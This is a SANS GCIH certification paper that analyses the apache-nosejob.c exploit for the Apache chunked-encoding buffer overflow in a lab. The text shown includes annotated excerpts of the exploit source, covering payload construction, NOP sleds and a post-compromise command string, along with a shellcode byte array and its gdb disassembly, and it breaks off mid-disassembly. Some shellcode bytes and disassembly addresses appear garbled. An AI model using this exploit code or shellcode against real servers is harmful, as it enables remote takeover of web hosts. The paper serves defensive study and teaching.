Use offense to inform defense. Find flaws before the bad guys do.

Copyright SANS Institute
Author Retains Full Rights

This paper is from the SANS Penetration Testing site. Reposting is not permitted without express written permission.

Interested in learning more?
Check out the list of upcoming events offering "Hacker Tools, Techniques, Exploits, and Incident Handling (SEC504)"
at https://pen-testing.sans.org/events/
SANS/GCIH Practical Assignment
Hacker Techniques, Exploits, and Incident Handling

Apache Web Server Chunk Handling
Apache-nosejob.c

GCIH Assignment Version 2.1
Submitted by: Dieter Sarrazyn
Submitted on: September 22, 2002
Table of Contents

1. Introduction ........................................................................................................... 4
2. Conventions ........................................................................................................... 4
3. The Exploit ............................................................................................................. 5
4. The Attack ............................................................................................................ 6
   4.1. Description and diagram of network ............................................................. 6
      4.1.a. The network ......................................................................................... 6
      4.1.b. Configuration of the systems ............................................................... 6
      4.1.c. Network Mapping ............................................................................... 8
      4.1.d. Vulnerability check ............................................................................ 10
   4.2. Protocol description ..................................................................................... 10
      4.2.a. Protocol .............................................................................................. 10
   4.3. How the exploit works ............................................................................... 12
      4.3.a. What is it that is being exploited that makes the apache server
             vulnerable? ......................................................................................... 12
      4.3.b. Working of the Exploit ................................................................... 14
      4.3.c. Shellcode Used .................................................................................. 21
      4.3.d. Usage .................................................................................................. 23
   4.4. Description and diagram of the attack ....................................................... 24
      4.4.a. Attack 1: The OpenBSD machine ...................................................... 24
      4.4.b. Attack 2: The NetBSD machine ......................................................... 28
      4.4.c. General ............................................................................................... 31
      4.4.d. Behavior of the exploit against other systems .................................... 32
   4.5. Signature of the attack ............................................................................... 32
      4.5.a. Signature data .................................................................................... 33
      4.5.b. Snort IDS events in “alert” ................................................................ 38
      4.5.c. Apache logs ........................................................................................ 40
      4.5.d. Messages / syslog events ................................................................. 40
      4.5.e. Netstat connections ........................................................................... 40
      4.5.f. List of open files ................................................................................ 41
   4.6. How to protect against it ........................................................................... 42
      4.6.a. Protection Measurements – running vulnerable versions .................. 42
      4.6.b. What should the vendor(s) do? .......................................................... 43
      4.6.c. How can better detection be performed? .......................................... 43
5. The Incident Handling Process ....................................................................... 48
   5.1. The Incident ............................................................................................... 48
6. List of References ............................................................................................ 55
# Table of Figures

Figure 1: Diagram of test lab network ................................................................. 6  
Figure 2: HTTP communication flow ................................................................. 11  
Figure 3: Diagram of an attack ........................................................................... 24  
Figure 4: Flowchart of the incident handling process used ................................. 50
1. Introduction

This paper covers the “apache-nosejob.c” exploit. This exploit is based on the Apache Chunked Encoding Vulnerability, discovered independently by Mark Litchfield (Next Generation Security Software) and Neel Mehta (ISS X-Force). Details and more information can also be found on securityfocus [2].

The different chapters in this paper are:

- The typographic conventions used in this paper
- The exploit
  More information is given about the exploit, where it can be found, what systems are vulnerable, a brief description of the exploit and some references to more information and what it is about the Apache server that makes it exploitable.
- The Attack
  This part includes information on the test network on which this exploit was tested, something more about the protocol the exploit uses, how the exploit works, a description and diagram of attacks based on this exploit, the signature of this attack and how to protect against this kind of attack.
- The Incident Handling Process.
  Here the incident handling is covered. Starting from the preparation and going to identification, containment, eradication up to recovery. Also in this part are the lessons learned. This part is mainly theoretical.

I wrote this paper to get certified for the GIAC Certified Advanced Incident Handling Analysts (GCIH) certification program of SANS.

I also want to say thank you to my employer for giving me the opportunity to take this certification and to my girlfriend for supporting me. Many thanks go to my reviewers as well.

2. Conventions

Following are the typographic conventions I used for this paper.

Regular text is in “Arial”, 12 points (as defined by the Assignment v2.1 and Administrativa v2.3)

Source code and program-output are in “Courier New”, 9 points and shaded to distinguish between code/output and regular text.
### 3. The Exploit

<table>
<thead>
<tr>
<th>Name</th>
<th>“Apache-nosejob.c” uses the Apache Chunked-Encoding Memory Corruption Vulnerability</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE</td>
<td>CAN-2002-0392</td>
</tr>
<tr>
<td>Bugtraq ID</td>
<td>5033</td>
</tr>
<tr>
<td>CERT</td>
<td>CA-2002-17</td>
</tr>
<tr>
<td>Operating System(s)</td>
<td>The Apache-nosejob.c exploit is for the following systems: FreeBSD 4.5 x86 / Apache/1.3.23 (Unix) OpenBSD 3.0 x86 / Apache 1.3.20; 1.3.22; 1.3.24 OpenBSD 3.1 x86 / Apache 1.3.20; 1.3.23-24 OpenBSD 3.1 x86 / Apache 1.3.24 PHP 4.2.1 NetBSD 1.5.2 x86 / Apache 1.3.12; 1.3.20; 1.3.22-24 (Unix)</td>
</tr>
<tr>
<td>Applications</td>
<td>Web servers based on Apache code versions 1.2.2 and above Web servers based on Apache code versions 1.3 through 1.3.24 Web servers based on Apache code versions 2.0 through 2.0.36</td>
</tr>
<tr>
<td>Brief Description</td>
<td>Securityfocus gives the following description of this vulnerability: “Apache 1.3 through 1.3.24, and Apache 2.0 through 2.0.36, allows remote attackers to cause a denial of service and execute arbitrary code via a chunk-encoded HTTP request that causes Apache to use an incorrect size. When processing requests coded with the 'Chunked Encoding' mechanism, Apache fails to properly calculate required buffer sizes. This is believed to be due to improper (signed) interpretation of an unsigned integer value. Consequently, several conditions may occur that have security implications. It has been reported that a buffer overrun and signal race condition occur. Exploitation of these conditions may result in the execution of arbitrary code.”</td>
</tr>
</tbody>
</table>
4. The Attack

4.1. Description and diagram of network

4.1.a. The network

Several tests were conducted against some vulnerable machines. The machines (operating systems) I tested this exploit against were the following: OpenBSD 3.1 (webserver 1) and NetBSD 1.5.2 (webserver 2).

Below, you can find a drawing of the test network I used for trying out this vulnerability and exploit. The test network was physically connected to a HUB and no internet connection was available at the time of testing.

![Diagram of test lab network](image)

**Figure 1: Diagram of test lab network**

4.1.b. Configuration of the systems

All systems were installed and configured on Intel Platforms (ix86 architecture). The RAM memory in each system was (at least) 64 MB. The amount of available disk space was at least 1 GB.

Details about the systems used are shown below.

- Webserver 1 – OpenBSD 3.1
  - Default installation of OpenBSD 3.1
  - Default installation of Apache 1.3.23
  - IP Address: 192.168.254.53

- Webserver 2 – NetBSD 1.5.2
  - Default installation of NetBSD 1.5.2
  - Default installation of Apache 1.3.23
  - IP Address: 192.168.254.52
• **IDS**
  o Default installation of RedHat 7.3
  o Default installation of Snort 1.8.7
  o Libpcap 0.7.1 & Libnet 1.0605 (installed from rpm)
  o IP Address: 192.168.254.50

• **Attacker**
  o Default installation of RedHat 7.3
  o Ethereal for packet capturing & “follow tcp stream”
  o Nessus 1.2.3 for vulnerability checking
  o IP Address: 192.168.254.3

• **Apache installation**
  Both the default installations of Apache were installed with the following commands without special options: “./configure; make; make install”

• **Snort IDS installation**
  The snort IDS was installed with the following commands: “./configure; make; make install”
  The configuration file of snort (/home/snort/etc/snort.conf) is shown below (only the relevant parts are shown):

```plaintext
# Step #1: Set the network variables:
#
var HOME_NET 192.168.254.0/24
var EXTERNAL_NET $HOME_NET
var SMTP $HOME_NET
var HTTP_SERVERS $HOME_NET
var SQL_SERVERS $HOME_NET
var DNS_SERVERS $HOME_NET
var RULE_PATH /home/snort/rules
var SHELLCODE_PORTS !80
var HTTP_PORTS 80
var ORACLE_PORTS 1521

# Step #2: Configure preprocessors
#
preprocessor frag2
preprocessor stream4: detect_scans, disable_evasion_alerts
preprocessor stream4_reassemble: both
preprocessor http_decode: 80
preprocessor rpc_decode: 111 32771
preprocessor telnet_decode

# Step #3: Configure output plugins
#
output log_tcpdump: /home/snort/log/snort-tcpdump.log
include classification.config
```
The snort IDS is executed with the following command:

```
snort -c /home/snort/etc/snort.conf -b -D -v
```

This configures snort to use the configuration file `/home/snort/etc/snort.conf`. The `-b` configures snort to log the packets in Tcpdump format. The `-D` configures snort to run in daemon mode and `-v` is used to get more information from snort (verbose mode).

The log files of snort are located in the default place. This location is the directory `/var/log/snort/` which contains the file “alerts” (this file contains all events issued by snort).

4.1.c. Network Mapping

Here I have included more information of the target systems such as the headers of the http daemon and an operating system guess. This was done in an attempt to identify the target operating system and http server version used. These three steps shown here are some typical steps an attacker might perform to map your network (or to get a better network drawing). A first step is checking the open ports on the target (after verifying that the target is active). The second step could be looking at the headers of the server daemon used (in this case the http daemon). A possible last step would be trying to identify the target operating system. This operating system guessing isn’t always accurate as can be seen in the examples.
1. OpenBSD machine
   a. Open ports on the machine
      First a little check what ports are open on the target system:

      Interesting ports on  (192.168.254.53):
      (The 65529 ports scanned but not shown below are in state: closed)
      Port   State   Service
      13/tcp  open    daytime
      22/tcp  open    ssh
      37/tcp  open    time
      80/tcp  open    http
      111/tcp open    sunrpc
      113/tcp open    auth

      b. Headers of the http daemon
         HTTP/1.1 200 OK
         Date: Sat, 24 Aug 2002 18:33:39 GMT
         Server: Apache/1.3.23 (Unix)
         Content-Location: index.html.en
         Vary: negotiate,accept-language,accept-charset
         TCN: choice
         Last-Modified: Fri, 04 May 2001 00:00:38 GMT
         ETag: "3f41-5b0-3af1f126;3d230cb6"
         Accept-Ranges: bytes
         Content-Length: 1456
         Connection: close
         Content-Type: text/html
         Content-Language: en

      c. OS guess
         The operating system guessing has been done with nmap and xprobe.
         These are the results:

         | OS Guessing tool | Result               |
         |------------------|----------------------|
         | nmap             | OpenBSD 3.0 (x86 or SPARC) |
         | xprobe           | OpenBSD OpenBSD 2.6-2.9 |

         We can already see that the guessed operating system types are incorrect. More specifically the version numbers are guessed incorrectly. This does matter for this exploit since it targets specific versions of operating systems and servers.

2. NetBSD machine
   a. Open ports on the machine
      First a little investigation to see what ports are open on the target machine:

      The SYN Stealth Scan took 675 seconds to scan 65535 ports.
      Interesting ports on  (192.168.254.52):
      (The 65534 ports scanned but not shown below are in state: closed)
      Port   State   Service
      80/tcp  open    http

      b. Headers of the http daemon
         HTTP/1.1 200 OK
         Date: Sat, 24 Aug 2002 18:39:27 GMT
         Server: Apache/1.3.23 (Unix)
         Content-Location: index.html.en
         Vary: negotiate,accept-language,accept-charset
         TCN: choice
GCIH Practical Assignment: Apache Web Server Chunk Handling – apache-nosejob.c

Here we can say the same as for the previous operating system guess.

4.1.d. Vulnerability check

Prior to beginning to exploit the servers, the apache daemons were checked if they were vulnerable for the chunked encoding vulnerability. This was done with public available tools. I used the following: Nessus (http://www.nessus.org) and the Apache Chunked Scanner from eEye (http://www.eeye.com/html/Research/Tools/index.html).

These are the results of the vulnerability check:

<table>
<thead>
<tr>
<th>Tool used</th>
<th>OpenBSD Machine</th>
<th>NetBSD Machine</th>
</tr>
</thead>
<tbody>
<tr>
<td>Apache Chunked Scanner</td>
<td>Vulnerable</td>
<td>Not Vulnerable</td>
</tr>
<tr>
<td>Nessus</td>
<td>Vulnerable</td>
<td>Vulnerable</td>
</tr>
</tbody>
</table>

The scan performed with Nessus was with the “safe checks” option enabled (which is the default).

4.2. Protocol description

4.2.a. Protocol

The “apache-nosejob.c” exploit and the “Apache Chunked-Encoding Memory Corruption Vulnerability” are both based on the HTTP protocol. Specifically the chunked encoding part of the HTTP/1.1 protocol as described in RFC 2616 (http://www.ietf.org/rfc/rfc2616.txt?number=2616) [1]

RFC 2616 [1] gives the following description of the HTTP Protocol:

The Hypertext Transfer Protocol (HTTP) is an application-level protocol for distributed, collaborative, hypermedia information systems.

The HTTP protocol is a request/response protocol. A client sends a request to the server in the form of a request method, Uniform Resource Identifiers (URI), and protocol version, followed by a Multipurpose Internet Mail Extensions (MIME)-like message containing request modifiers, client information, and possible body content over a connection with a server. The server responds with a status line, including the message's protocol version and a success or error code, followed by a MIME-like message.
containing server information, entity meta-information, and possible entity-body content.

Most HTTP communication is initiated by a user agent and consists of a request to be applied to a resource on some origin server. In the simplest case, this may be accomplished via a single connection (v) between the user agent (UA) and the origin server (O).

![Figure 2: HTTP communication flow](image)

As we all know is http a protocol used on the internet. In fact, the http protocol is the base for all web communications from and to web servers (by means of a browser or other web clients).

The Apache Chunked Encoding vulnerability is about a specific part of the HTTP/1.1 protocol definition, specifically the definition of chunked encoding. When one looks deeper at the description of chunked encoding in RFC 2616 [1], we can read the following description:

RFC 2616 [1] gives the following description for chunked encoding:

The chunked encoding modifies the body of a message in order to transfer it as a series of chunks, each with its own size indicator, followed by an OPTIONAL trailer containing entity-header fields. This allows dynamically produced content to be transferred along with the information necessary for the recipient to verify that it has received the full message.

```
Chunked-Body = *chunk
    last-chunk
    trailer
    CRLF
chunk = chunk-size [ chunk-extension ] CRLF
    chunk-data CRLF
chunk-size = 1*HEX
last-chunk = 1*"0" [ chunk-extension ] CRLF

chunk-extension= *( ";" chunk-ext-name [ ";" chunk-ext-val ] )
chunk-ext-name = token
chunk-ext-val = token | quoted-string
chunk-data = chunk-size(OCTET)
trailer = *(entity-header CRLF)
```
The chunk-size field is a string of hex digits indicating the size of the chunk. The chunked encoding is ended by any chunk whose size is zero, followed by the trailer, which is terminated by an empty line. The trailer allows the sender to include additional HTTP header fields at the end of the message. The Trailer header field can be used to indicate which header fields are included in a trailer (see section 14.40). A server using chunked transfer-coding in a response MUST NOT use the trailer for any header fields unless at least one of the following is true:

a) the request included a TE header field that indicates "trailers" is acceptable in the transfer-coding of the response, as described in section 14.39; or,

b) the server is the origin server for the response, the trailer fields consist entirely of optional metadata, and the recipient could use the message (in a manner acceptable to the origin server) without receiving this metadata. In other words, the origin server is willing to accept the possibility that the trailer fields might be silently discarded along the path to the client.

This requirement prevents an interoperability failure when the message is being received by an HTTP/1.1 (or later) proxy and forwarded to an HTTP/1.0 recipient. It avoids a situation where compliance with the protocol would have necessitated a possibly infinite buffer on the proxy. All HTTP/1.1 applications MUST be able to receive and decode the "chunked" transfer-coding, and MUST ignore chunk-extension extensions they do not understand.

The point of chunked encoding is this: If we have persistent connections (as used in HTTP/1.1) and we have data with unknown length (this could be data that is generated by automatic scripts or slowly produced data from which we do not know the exact length), we can still transfer this data from server to client and the other way around by using a sequence of little pieces (called chunks) of known length. This can be done without having to disable persistent connections (a persistent connection means in this case: performing multiple transactions by using only one single connection. More information on persistent connections can be found in RFC 2616 [1]).

4.3. How the exploit works

4.3.a. What is it that is being exploited that makes the apache server vulnerable?

The Apache advisory [4] gives the following description of what it is that is being exploited (only the relevant part is shown):

Versions of the Apache web server up to and including 1.3.24 and 2.0 up to and including 2.0.36 contain a bug in the routines which deal with invalid requests which are encoded using chunked encoding. This bug
can be triggered remotely by sending a carefully crafted invalid request. This functionality is enabled by default.

In most cases the outcome of the invalid request is that the child process dealing with the request will terminate. At the least, this could help a remote attacker launch a denial of service attack as the parent process will eventually have to replace the terminated child process and starting new children uses non-trivial amounts of resources.

In Apache 1.3 the issue causes a stack overflow. Due to the nature of the overflow on 32-bit Unix platforms this will cause a segmentation violation and the child will terminate. However on 64-bit platforms the overflow can be controlled and so for platforms that store return addresses on the stack it is likely that it is further exploitable. This could allow arbitrary code to be run on the server as the user the Apache children are set to run as. We have been made aware that Apache 1.3 on Windows is exploitable in a similar way as well.

Securityfocus gives the following description of this vulnerability:

Apache 1.3 through 1.3.24, and Apache 2.0 through 2.0.36, allows remote attackers to cause a denial of service and execute arbitrary code via a chunk-encoded HTTP request that causes Apache to use an incorrect size.

When processing requests coded with the 'Chunked Encoding' mechanism, Apache fails to properly calculate required buffer sizes. This is believed to be due to improper (signed) interpretation of an unsigned integer value. Consequently, several conditions may occur that have security implications. It has been reported that a buffer overrun and signal race condition occur. Exploitation of these conditions may result in the execution of arbitrary code.

So, improper checking of invalid chunked encoding requests is the problem here. As the advisory already says, specifically created chunked encoding requests could cause a stack overflow (or also called a buffer overflow). This brings us to the buffer overflow story. The basic idea of a buffer overflow is that an attacker could try to fit more data into a buffer than that buffer can deal with. By doing so, the attacker could be able to overwrite other information on the stack. An interesting part of the stack is the stored instruction pointer (also called stored frame pointer) where the return address is stored. If an attacker is successful in overwriting this stored instruction pointer, he could execute his own code. This code is almost always located in the buffer he overflowed with data. More information on buffer overflows can be found in “Smashing the stack for fun and profit” from Aleph One [13] and “Buffer Overflows for dummies” from Nelissen Josef [14].
4.3.b. Working of the Exploit

1. **Summary**
The `apache-nosejob` exploit first creates the exploit code offline and then sends it to the target. This exploit code can be created by using a predefined list of 15 targets or by using brute forcing. Using brute forcing, you can choose between 3 predefined operating systems to brute force (these are OpenBSD, NetBSD and FreeBSD) or you can feed your own brute force settings manually to the exploit as arguments.

The logical steps performed by the exploit code are:
- Select target by either using a predefined target or by brute forcing
- Set the victim parameters according to the target selection
- Prepare the exploit code for the victim offline
- Send the exploit code to the victim
- Check the responses from the server
- If the exploit was successful, execute the predefined commands on the victim

The exploit code from the exploit points in the direction of a buffer overflow type of attack.

2. **Detailed information**
In this part we will dive a little bit deeper into the source code of this exploit.
Below, you can find parts of the source code for the “`apache-nosejob.c`” exploit.
Only the relevant parts of the exploit are shown.
This exploit is based on “`apache-scalp.c`”, the first exploit Gobbles released for the Apache Chunked Encoding vulnerability.
The full source code of `apache-nosejob.c` can be found on Securityfocus Bugtraq [2].

Some other details for the exploit:
- the exploit is written in c
- no special OS requirements are needed to run the exploit, the only thing needed is a c compiler (gcc for example).

Note!
Parts that I have left out for reading purposes begin and end with “---”. You will find the description of the part that is left out between those delimiters.
To be able to write comments about parts of the source code, the source code is split into pieces. My comments are right underneath every piece of code.

```c
/*
 * apache-nosejob.c - Now with FreeBSD & NetBSD targets ;>
 *
 */
--- Include section left out for reading purposes ---
#define HOST_PARAM "apache-nosejob.c"    /* The Host: field */
```
#define DEFAULT_CMDZ "uname -a;id;echo 'hehe, now use another bug/backdoor/feature (hi Theo!) to gain instant r00t';\n"
#define RET_ADDR_INC 512
#define PADSIZE_1 4
#define PADSIZE_2 5
#define PADSIZE_3 7
#define REP_POPULATOR 24
#define REP_SHELLCODE 24
#define NOPCOUNT 1024
#define NOP 0x41
#define PADDING_1 'A'
#define PADDING_2 'B'
#define PADDING_3 'C'
#define PUT_STRING(s) memcpy(p, s, strlen(s)); p += strlen(s);
#define PUT_BYTES(n, b) memset(p, b, n); p += n;

A possible explanation for the different variables used here:
- HOST_PARAM: the “Host:” field of the HTTP command
- DEFAULT_CMDZ: the default commands to execute when the exploit was successful
- RET_ADDR_INC: increment the return address with this number (used when brute forcing)
- PADSIZE_x: the amount of characters to use as populator, corresponding to the PADDING_x variable which is the character to use
- REP_POPULATOR: the amount of times the populator has to be repeated
- REP_SHELLCODE: the amount of times the shellcode has to be repeated
- NOPCOUNT: the amount of No Operation instructions that is used

A possible explanation for the two functions:
Put_string and Put_bytes are global functions (local in the exploit code) that call respectively the “memcpy” and “memset” functions. These global functions are frequently used later in the exploit code.
Put_string is used to copy a string “s” with size “strlen(s)” to memory on the location “p”. After copying this string, the pointer “p” is increased with the string size.
Put_bytes is used to fill memory with “n” times character “b”. After filling up memory, the pointer “p” is increased with the amount of characters copied to memory.

char shellcode[] =
--- Shellcode left out here - see further in section 4.3.c ---
;
struct {
    char *type; /* description for newbie penetrator */
    int delta; /* delta thingie! */
    u_long retaddr; /* return address */
    int repretaddr; /* repeat retaddr thiz many times in the buffer */
    int repzero; /* and \0'z this many times */
} targets[] = {

--- Initialisation of all targets has been left out for reading purposes ---

Each target and victim is defined by using 5 parameters as can be seen in the
"struct" section above. These parameters are: the type of the victim/target, the
delta, the return address, the number of times to repeat the return address and
the amount of zero's.
The exploit has a list with predefined targets; those are several versions of the
Apache webserver installed on different flavors of OpenBSD, NetBSD and
FreeBSD.

```c
void usage(void) {
    ---- Source of this section has been left out for reading purposes ----
}
```

This prints out the usage of this exploit. This makes the exploit script-kiddie- and
penetration tester friendly and also straightforward to use without having to read
the full source code to understand this exploit.

```c
int main(int argc, char *argv[]) {
    char *hostp, *portp, *cmdz = DEFAULT_CMDZ;
    u_char buf[512], *expbuf, *p;
    int i, j, lport, sock;
    int bruteforce, owned, progress, sc_timeout = 5;
    int responses, shown_length = 0;
    struct in_addr ia;
    struct sockaddr_in sin, from;
    struct hostent *he;
    if(argc < 4)
        usage();
    ...
```

Prints out the usage if not enough arguments are given to the program.

```c
bruteforce = 0;
memset(&victim, 0, sizeof(victim));
while((i = getopt(argc, argv, "t:b:d:h:w:c:r:z:o:")) != -1) {
    ---- handling of arguments left out for reading purposes ----
}
```

First, memory on the local system is reserved for keeping the data (the 5
parameters) of the victim. These parameters are set, depending on the
arguments given to the exploit at run-time.

```c
if(!victim.delta || !victim.retaddr || !victim.repretaddr ||
    !victim.repzero) {
    printf("[-] Incomplete target. At least 1 argument is missing
        (nmap style!!)\n") ;
    return -1;
}
```
This is only a check to see if all parameters to attack the victim are present and known. If these prerequisites are not fulfilled, the exploit ends.

```c
printf("[*] Resolving target host.. ");
fflush(stdout);
he = gethostbyname(hostp);
if(he)
    memcpy(&ia.s_addr, he->h_addr, 4);
else if((ia.s_addr = inet_addr(hostp)) == INADDR_ANY) {
    printf("There'z no %s on this side of the Net!
", hostp);
    return -1;
}
printf("%s
", inet_ntoa(ia));
```

A connection attempt is performed to see if we can reach the webserver of the target. If not, the exploit is terminated and this could indicate that the remote server is down or unreachable or that the remote http daemon is not running. If the host is active, the exploit continues with the following commands.

```c
if(!progress)
    printf("connected!
");
```

The “expbuf” (exploit buffer) variable is initiated. This exploit buffer is used to contain the complete http command that will be sent to the target. The exploit buffer is filled during the exploit. The size of this variable has to be equal to or greater than this complete http command and it depends on the “retaddr” and “repzero” variables (respectively the number that the return address is repeated and the number that a zero is repeated). These variables aren’t the same for all operating systems that the exploit targets. This also means that the size of the...
complete http command (or the exploit code) is variable for different operating systems (FreeBSD & OpenBSD have the same size for expbuf (83624 bytes), NetBSD has a different size (83672 bytes))
The "p" variable contains the location of the next free space in the exploit buffer variable (expbuf). We can say that “p” is the exploit.

```c
for (i = 0; i < REP_SHELLCODE; i++) {
  PUT_STRING("X-");
  PUT_BYTES(PADSIZE_3, PADDING_3);
  PUT_STRING(":");
  PUT_BYTES(NOPCOUNT, NOP);
  memcpy(p, shellcode, sizeof(shellcode) - 1);
  p += sizeof(shellcode) - 1;
  PUT_STRING("\r\n");
}
```

The exploit code (the http command), together with the NOP's is written to the exploit buffer. This is done as much as is defined in the “REP_SHELLCODE” variable (set to 24 by default). The “put_string” and “put_bytes” are earlier defined functions (These functions can be found at the beginning of the detailed information about the exploit code – chapter 4.3.a).

```c
for (i = 0; i < REP_POPULATOR; i++) {
  PUT_STRING("X-");
  PUT_BYTES(PADSIZE_1, PADDING_1);
  PUT_STRING(":");
  for (j = 0; j < victim.repretaddr; j++) {
    *p++ = victim.repretaddr & 0xff;
    *p++ = (victim.repretaddr >> 8) & 0xff;
    *p++ = (victim.repretaddr >> 16) & 0xff;
    *p++ = (victim.repretaddr >> 24) & 0xff;
  }
  PUT_BYTES(victim.repzero, 0);
  PUT_STRING("\r\n");
}
```

The exploit buffer is then filled up with the populator. In this exploit, the remaining space in the buffer is filled up with zeros.

```c
PUT_STRING("Transfer-Encoding: chunked\r\n");
snprintf(buf, sizeof(buf) - 1, ":%x\r\n", PADSIZE_2);
PUT_STRING(buf);
PUT_BYTES(PADSIZE_2, PADDING_2);
snprintf(buf, sizeof(buf) - 1, ":%x\r\n", victim.delta);
PUT_STRING(buf);
if(!shown_length) {
  printf("[*] Exploit output is %u bytes\n", (unsigned int)(p - expbuf));
```
The size of the exploit code is shown on the attacker's screen.
Now, the full exploit code is in the "p" variable. This exploit code is then being
sent to the target by using the following command:

The exploit code consists of the following parts:
1. Several chunks (as many as defined in "rep_shellcode") with in that chunk
   the following things: No Operation instructions (NOP) as many as is
defined by the NOP-Count variable. Last but not least is the shellcode
   used.
2. The second part of the exploit code consists also of several chunks. In
   these chunks are the populators located to fill up the space in the buffer.

```c
write(sock, expbuf, p - expbuf);
progress++; 
if ((progress%70) == 0)
  progress = 1;
if (progress == 1) {
  printf("\r[*] Currently using retaddr 0x%lx",
    victim.retaddr);
  for (i = 0; i < 40; i++)
    printf(" ");
  printf("\n");
  if (bruteforce)
    putchar(';');
} else
  putchar(((rand()>>8)%2)? 'P': 'p');
```

The "progress" variable is self-explanatory. It is used to indicate a hack in
progress. When the attacker is performing brute-forcing, some sort of progress
bar is shown on his/her screen.

```c
fflush(stdout);
responses = 0;
while (1) {
  fd_set          fds;
  int             n;
  struct timeval  tv;
  tv.tv_sec = sc_timeout;
  tv.tv_usec = 0;
  FD_ZERO(&fds);
  FD_SET(0, &fds);
  FD_SET(sock, &fds);
  memset(buf, 0, sizeof(buf));
```

Space is reserved for the response buffer. Responses from the server come in
this variable.
The response from the target is being read into the response buffer with the “read(sock,buf,sizeof(buf)-1)” command. If two or more responses are received (the needed responses are multiple characters “G”), the exploit is considered to be successful and we now have a shell on the target system. First, the default commands are executed on the target system by sending these to the target (“write(sock, cmdz, strlen(cmdz))”) when the target is compromised.

After running the default commands, some status messages are shown on the attacker’s screen. These status messages include the different settings used (delta, the return address, the amount that the return address has been repeated, the amount that zeros have been repeated).

Now the attacker can execute additional commands to give himself better access to the target system or to up- or download his tool (root-)kit.
4.3.c. Shellcode Used
The shellcode that is used in the exploit:

```c
char shellcode[] =
"\x68\x47\x47\x47\x47\x47\x47\x89\xe3\x31\xc0\x50\x50\x50\x50\xc6\x04\x24"
"\x04\x53\x50\x50\x31\xd2\x31\xc9\x8b\x18\x80\x18\x8d\x31\x31"
"\x0c\x09\x83\x0f\x24\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04"
"\x68\x24\x18\x8d\x54\x24\x18\x89\x14\x24\x31\xc8\x0b\x5d\xc0"
"\x31\xc9\x8b\x12\x2c\x24\x73\x27\x31\xc0\x50\x50\x50\x50\x04\x24"
"\x54\xff\x04\x24\xff\x04\x24\xff\x04\x24\xff\x04\x24\xff\x04\x51\x50"
"\x68\x24\x85\x58\x58\x58\x58\x58\x58\x58\x3c\x4f\x74\x0b\x58\x58\x41\x80"
"\x68\x20\x75\x8d\x8d\x90\x31\xc0\x50\x51\x50\x31\xc8\x0b\x5a"
"\x8d\x80\xff\x44\x24\x08\x80\x7c\x24\x08\x03\x75\x0f\x31\xc8\x50"
"\x68\x04\x24\x0b\x80\x34\x24\x01\x68\x42\x4c\x45\x2a\x68\x2a\x47"
"\x4f\x42\x89\x3b\x00\x09\x50\x53\x8b\x01\x50\x50\x04\xc8\x8d\x80"
"\x31\xc0\x50\x68\xe6\xf2\xf7\x38\x68\x68\x2f\x2f\x62\x69\x89\x3e\x50"
"\x35\x89\xe1\x50\x51\x53\x50\x5b\x03\x8d\x8c\x8c\x8c\x8c"
```

The shellcode used in the exploit “apache-nosejob” can be translated into assembler language using the Gnu debugger (gdb). The output from this disassemble can be seen below.

```
(gdb) disassemble shellcode
Dump of assembler code for function shellcode:
0x804ba20 <shellcode>:  push $0x47474747
0x804ba25 <shellcode+5>:  mov %esp,%ebx
0x804ba27 <shellcode+7>:  xor %eax,%eax
0x804ba29 <shellcode+9>:  push %eax
0x804ba2a <shellcode+10>:  push %eax
0x804ba2b <shellcode+11>:  push %eax
0x804ba2c <shellcode+12>:  push %eax
0x804ba2d <shellcode+13>:  movb $0x4,(%esp,1)
0x804ba2e <shellcode+17>:  push %ebx
0x804ba30 <shellcode+18>:  push %eax
0x804ba31 <shellcode+19>:  push %eax
0x804ba33 <shellcode+20>:  xor %edx,%edx
0x804ba34 <shellcode+21>:  xor %ecx,%ecx
0x804ba3c <shellcode+22>:  mov $0x80,%cl
```
GCIH Practical Assignment: Apache Web Server Chunk Handling – apache-nosejob.c

```
0x804ba3a <shellcode+26>:   shl  $0x18,%ecx
0x804ba3d <shellcode+29>:   shr  %edx
0x804ba3f <shellcode+31>:   xor  %eax,%eax
0x804ba41 <shellcode+33>:   mov  $0x85,%al
0x804ba43 <shellcode+35>:   int  $0x80
0x804ba45 <shellcode+37>:   jb   0x804ba49 <shellcode+41>
0x804ba47 <shellcode+39>:   or   %ecx,%edx
0x804ba49 <shellcode+41>:   incl  0x4(%esp,1)
0x804ba4d <shellcode+45>:   movb  $0x20,0x4(%esp,1)
0x804ba52 <shellcode+50>:   cmpb  $0x20,0x4(%esp,1)
0x804ba54 <shellcode+52>:   xor   %eax,%eax
0x804ba56 <shellcode+54>:   mov  %eax,0x4(%esp,1)
0x804ba5f <shellcode+63>:   mov  %esp,0x8(%esp,1)
0x804ba63 <shellcode+67>:   mov  %eax,0xc(%esp,1)
0x804ba67 <shellcode+71>:   mov  %eax,0x10(%esp,1)
0x804ba6b <shellcode+75>:   mov  %eax,0x14(%esp,1)
0x804ba6f <shellcode+79>:   mov  %edx,0x18(%esp,1)
0x804ba73 <shellcode+83>:   mov  0x18(%esp,1),%edx
0x804ba77 <shellcode+87>:   mov  %edx,(%esp,1)
0x804ba7a <shellcode+90>:   xor   %eax,%eax
0x804ba7c <shellcode+92>:   mov  $0x5d,%al
0x804ba7e <shellcode+94>:   int   $0x80
0x804ba80 <shellcode+96>:   xor   %eax,%eax
0x804ba82 <shellcode+98>:   shr1  (%esp,1)
0x804ba85 <shellcode+101>:  jae   0x804baae <shellcode+142>
0x804ba87 <shellcode+103>:  xor   %eax,%eax
0x804ba89 <shellcode+105>:  push  %eax
0x804ba8a <shellcode+106>:  push  %eax
0x804ba8b <shellcode+107>:  push  %eax
0x804ba8c <shellcode+108>:  push  %eax
0x804ba8d <shellcode+109>:  incl  (%esp,1)
0x804ba90 <shellcode+112>:  push  %esp
0x804ba91 <shellcode+113>:  incl  (%esp,1)
0x804ba94 <shellcode+116>:  incl  (%esp,1)
0x804ba97 <shellcode+119>:  incl  (%esp,1)
0x804ba99 <shellcode+122>:  incl  (%esp,1)
0x804ba9d <shellcode+125>:  push  %ecx
0x804ba9e <shellcode+126>:  push  %eax
0x804ba9f <shellcode+127>:  mov   $0x1d,%al
0x804baa1 <shellcode+129>:  int   $0x80
0x804baa3 <shellcode+131>:  pop   %eax
0x804baa4 <shellcode+132>:  pop   %eax
0x804baa5 <shellcode+133>:  pop   %eax
0x804baa6 <shellcode+134>:  pop   %eax
0x804baa7 <shellcode+135>:  pop   %eax
0x804baa8 <shellcode+136>:  cmp   $0x4f,%al
